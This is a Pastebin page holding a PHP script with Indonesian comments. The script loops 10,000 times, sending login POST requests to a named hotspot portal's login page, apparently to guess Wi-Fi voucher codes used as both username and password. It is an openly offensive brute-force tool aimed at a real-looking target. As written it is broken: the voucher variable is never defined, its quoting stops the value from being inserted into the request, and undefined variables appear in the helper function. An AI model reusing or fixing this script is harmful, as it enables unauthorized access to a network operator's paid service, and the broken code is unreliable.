Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- date_default_timezone_set("Asia/JAKARTA");
- // ACAK Voucher Sesuai Format == Lanjut Besok
- for ($i= 1; $i <= 10000; $i++)
- {
- $url = 'http://sibajra.net/login'; //ganti target/ Domain Pada Voucher
- $headers = array(
- 'Content-Type: application/x-www-form-urlencoded',
- 'Origin: http://sibajra.net,',
- 'Referer: http://sibajra.net/login?dst=http%3A%2F%2Fwww.msftconnecttest.com%2Fredirect',
- 'Upgrade-Insecure-Requests: 1',
- 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36',);
- $post = "username='.$pocer.'&password='.$pocer.'&dst=http%3A%2F%2Fwww.msftconnecttest.com%2Fredirect&popup=true";
- $post = json_decode(yarzCurl($url, $post, false, $headers, true));
- }
- print '<pre>'.print_r($post,1).'</pre>'; die();
- function yarzCurl($url, $fields = false, $cookie = false, $httpheader = false, $encoding = false)
- {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- if ($fields !== false) {
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
- }
- if ($encoding !== false) {
- curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
- }
- if ($cookie !== false) {
- curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
- }
- if ($httpheader !== false) {
- curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
- }
- if (file_exists($file)) {
- $counter += file_get_contents($file);
- }
- $response = curl_exec($ch);
- curl_close($ch);
- return $response;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement